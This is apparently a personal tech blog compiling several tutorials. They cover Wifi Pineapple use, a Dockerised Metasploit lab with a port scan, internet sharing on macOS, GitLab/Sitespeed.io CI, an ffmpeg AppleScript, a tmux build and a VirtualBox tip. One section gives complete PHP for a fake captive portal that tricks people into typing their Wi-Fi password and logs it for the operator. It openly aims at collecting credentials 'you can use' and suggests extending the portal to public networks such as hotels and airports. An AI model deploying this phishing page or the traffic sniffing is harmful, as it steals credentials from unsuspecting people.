Wifi Pineapple Module DWall

This is the first tutorial about Wifi Pineapple modules. I will start with a simple one called DWall. With this module you can gather and display easily live informations from connected clients wich using the HTTP protocol.


Installation and usage of module DWall on the Wifi Pineapple.


Your Wifi Pineapple need to have an internet connection.


This time we will use the browser UI for the installation. Let’s start… Look for DWall among the available modules, click the “Install” button and select the location (you should always select the SD card, if available).

DWall installation on Wifi Pineapple

Via Terminal you can verify the installation, too.

# list installed modules on sdcard folder
$ ssh root@ -C 'ls -la /sd/modules/'


After successful installation (which should be quite fast), select the module. Now activate it and start the listener. As soon as a connected client makes requests with HTTP, you will see them in the module output. Depending on the responce, also other data such as pictures.

DWall report on Wifi Pineapple UI

Now the last one should also understand why encryption (HTTPS) is so important! Even if it is already used a lot, you will figure that many websites still work without encryption.

Getting started with Metasploit

Many tutorials about Metasploit are available on internet (as well many books and trainings), but most of them confusing beginners. My intention with the following content is to create a simple environment (via Docker) and to show the use of this. In order not to make it too boring, I also show some important basics for Metasploit itself.


Learn how to create and use a simple training environment as well as learn first basic metasploit commands.


Docker (latest) installed

Prepare environment

As mentioned already we will use Docker. The benefits here are this does not need installations and no local installed Anti-virus tool does disturb and complain.

# create working directory and change location
$ mkdir -p ~/Projects/Metasploit/msf && cd ~/Projects/Metasploit

# list directories/files (optional)
$ tree .

# create network
$ docker network create --subnet= metasploit

# check created network (optional)
$ docker network ls --filter driver=bridge --no-trunc

# run postgres container
$ docker run -d --name postgres --ip --network metasploit -e POSTGRES_PASSWORD=postgres -e POSTGRES_USER=postgres -e POSTGRES_DB=msf -v "$(pwd)/msf/database:/var/lib/postgresql/data" postgres:11-alpine

# show logs (optional)
$ docker logs postgres

# run metasploit container
$ docker run --name metasploit --ip --network metasploit -it -v "$(pwd)/msf/user:/home/msf/.msf4" -p 8443-8500:8443-8500 metasploitframework/metasploit-framework ./msfconsole

# list latest created containers (optional in different tty)
$ docker ps -n 2

Connect database

In this environment we need to connect the Postgres database manually.

# check database status (optional)
msf5 > db_status

# connect (if broken)
msf5 > db_connect postgres:postgres@

Prepare Metasploit workspace

This is an very important step! It gets often forgotten in other tutorials. Without this steps you will have later many problems/confusions and may don’t understand why.

# list all workspaces
msf5 > workspace

# create new workspace
msf5 > workspace -a hackthissite.org

# list all hosts (optional)
msf5 > hosts

# list all services (optional)
msf5 > services

Some scanner actions

As promised here some other basics.

# search for scanner with name:tcp
msf5 > search auxiliary name:tcp

# select tcp portscanner module
msf5 > use auxiliary/scanner/portscan/tcp

# show detailed information (optional)
msf5 auxiliary(scanner/portscan/tcp) > info

# show options
msf5 auxiliary(scanner/portscan/tcp) > options

# set needed values
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS hackthissite.org
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 20-100
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 6

# execute scan
msf5 auxiliary(scanner/portscan/tcp) > run

# move out of the current context
msf5 auxiliary(scanner/portscan/tcp) > back

# list all hosts
msf5 > hosts

# list all services
msf5 > services

Stop and restart the environment

# stop metasploit container
msf5 > exit

# stop postgres container
$ docker stop postgres

# check container status (optional)
$ docker ps -a
# change directory (if not done already)
$ cd ~/Projects/Metasploit

# start postgres container (first)
$ docker start postgres

# start metasploit container
$ docker start metasploit

# run msfconsole (without banner)
$ docker exec -ti metasploit ./msfconsole -q

# connect to postgres (if broken)
msf5 > db_connect postgres:postgres@
Connected to Postgres data service:

# list workspaces
msf5 > workspace
* default

# select specific workspace
msf5 > workspace 'hackthissite.org'
[*] Workspace: hackthissite.org

Now you have everything you need for the next tutorials.

Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).


Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.


To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.


I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr=''

# change gateway with UCI configuration tool
$ uci set network.lan.gateway=''

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open

Note: The Browser URL is now (network.lan.ipaddr!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.

GitLab and Sitespeed.io

Within this tutorial I will explain shortly the combination of GitLab and Sitespeed.io. Normally GitLab provides this feature (Browser Performance Testing) but only with Premium or Silver editions. I imagine for this example that you know already the basics about GitLab pipelines, Docker in Docker and Sitespeed.io.


As a first step you create a simple project directory with some files and one folder.

# create project directory
$ mkdir -p ~/Projects/SitespeedGitLab/ci

# change directory
cd ~/Projects/SitespeedGitLab

# create login file
$ vim ci/login.js

# create urls file
$ vim ci/urls.txt

# create pipeline file
$ vim .gitlab-ci.yml

# show structure (optional)
$ tree .

Content of files

For the login we use the simplest version of a script which serves as pre script. You can expand it later as needed. If you do not need a login, you do not have to create this file (leave this out later in the command --preScript login.js).

module.exports = async function(context, commands) {

  // navigate to login page
  await commands.navigate('your domain');

  // add values into input fields
  await commands.addText.byId('username', 'input by id');
  await commands.addText.byId('password', 'input by id');

  // find the submit button and click it
  await commands.click.byClassName('Button');

  // wait to verify that you are logged in (incl. max time)
  return commands.wait.byId('specific tag with id',8000);

Let’s get to the next file. Here you simply enter all URLs to be checked. Each line represents a URL to be checked which (in our case) always precedes the login. There is also the possibility to login once for all sub-pages as well as various actions on the pages. In this case you would have to script everything (similar to pre/post scripts).

your url one
your url two
your url three

The files urls.txt and login.js have to be mounted inside the container. Therefore we choose the folder “ci”. After the successfully execution this folder will also provide the sitespeed reports.


The last step is the definition of GitLab pipeline. Here now a very simple example for .gitlab-ci.yml, with only one pipeline stage (test) and job (perf_tests). You can also expand this file later as you like (It’s already possible to build Docker images inside).

  - test

  DOCKER_HOST: tcp://localhost:2375/
  DOCKER_DRIVER: overlay2

  image: docker:stable
    - name: docker:dind

  stage: test
    DOCKER_IMAGE: 'sitespeedio/sitespeed.io'
    BROWSER: 'firefox'
    ITERATION: '1'
    name: "performance-reports"
      - "$CI_BUILDS_DIR/ci/sitespeed-result/your domain"
    - docker run --shm-size=1g --rm -v $MOUNT_PATH:/sitespeed.io $DOCKER_IMAGE -b $BROWSER -n $ITERATION --preScript login.js urls.txt

Okay … done. You can commit/push everything into GitLab. After successfully pipeline run you can access the reports as GitLab pipeline artifacts (but not via repository folder -> because if the job is done the container and reports are gone).

M3U8 download app for MacOS

Usually I work via Terminal but sometimes I don’t remember all parameters of a binary and search for such takes time. Same issue I had for ffmpeg downloads of M3U8 files. So I created a small apple script (for some dialogs) and saved this as very simple application. I use it regulary now and after all I thought to share here.


A little preparation is needed, if you have ffmpeg binary allready installed you can skip to next section. So download the ffmpeg binary as an archive from https://www.ffmpeg.org/, unzip and follow next commands. In my example the binary was unzipped into folder “Downloads”.

# move ffmpeg binary
$ mv ~/Downloads/ffmpeg /usr/local/bin/ffmpeg

# set permissions
$ chmod +x /usr/local/bin/ffmpeg

# check version (optional)
$ ffmpeg -version

Apple Script

Open the Scripteditor and copy/paste the following script there.


global theURL
global theOutputFolder
global theOutputFileName

on SetURL()
  set theTitle to "Video URL"

    set theURLDialog to display dialog "What's the file URL?" default answer "" with title theTitle buttons {"Continue"}
    set theURL to text returned of theURLDialog
  on error
  end try

  if theURL as string is equal to "" then
  end if
end SetURL

on SetOutputFolder()
    set theOutputFolder to choose folder with prompt "In what folder you will save the file?"
  on error
  end try
end SetOutputFolder

on SetOutputFileName()
  set theTitle to "File Name"

    set theOutputFileNameDialog to display dialog "What's your target file name?" default answer "" with title theTitle buttons {"Continue"}
    set theOutputFileName to text returned of theOutputFileNameDialog
  on error
  end try

  if theOutputFileName as string is equal to "" then
  end if
end SetOutputFileName

on RunTerminal()
  set theTargetPath to POSIX path of theOutputFolder & theOutputFileName
  set theCommand to "ffmpeg -i " & theURL & " -c copy -bsf:a aac_adtstoasc " & theTargetPath

  tell application "Terminal"
    do script with command theCommand in window 1
  end tell
end RunTerminal

on quit
  display dialog "Thanks for trying this!" buttons {"Continue"}
  continue quit
end quit

on run

end run


Now you can “save” or “export” the script as “app”.

Save/Export applescript as application
Save/Export AppleScript as app

If you don’t like the icon, you can change it. Download from the source of you choose an “.icns” file. Select the app and hit “Command + i” keys. Now drag the icon over the original icon and close info window. Ready … move it into Applications folder and use it.

Install tmux on macOS without Homebrew

Many people (including me) don’t want to use Homebrew. But if you search online for “How to install tmux on macOS” you will found mostly Homebrew descriptions. So here now the very easy solution without.


In case that Command Line Tools are not installed, execute following command and follow the installation steps in new popup window. This process can take some time, so be patient.

# install Command Line Tools
$ xcode-select --install

# verify installation (optional)
$ ls /Library/Developer/CommandLineTools/usr/bin/


To execute next steps you need to download and unzip two release tarballs. Here you will found latest version of libevent and tmux (ncurses is already installed on macOS).

# change into unzipped libevent directory
$ cd Downloads/libevent-2.1.11-stable/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# change into unzipped tmux directory
$ cd Downloads/tmux-3.0a/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# show tmux version (optional)
$ tmux -V

That’s it already. If you’re new to tmux you should have a look on this Cheat Sheet.

Get IP of headless Virtualbox VM

This short article will describe how you will get quickly the IP for an headless running Virtualbox VM. For demonstration purpose, I have assigned an “Bridged Interface” on NIC 1. So the IP is dynamically allocated (IP address is being assigned by DHCP).

# start VM headless (if not running)
$ VBoxManage startvm --type headless "vm name"

# check VM state (optional)
$ VBoxManage showvminfo "vm name" | grep "State"

# show IP
$ VBoxManage guestproperty get "vm name" "/VirtualBox/GuestInfo/Net/0/V4/IP"

That was super easy … now you can connect via SSH (if SSH service is running).

# start SSH connection
$ ssh -C4 remote_user@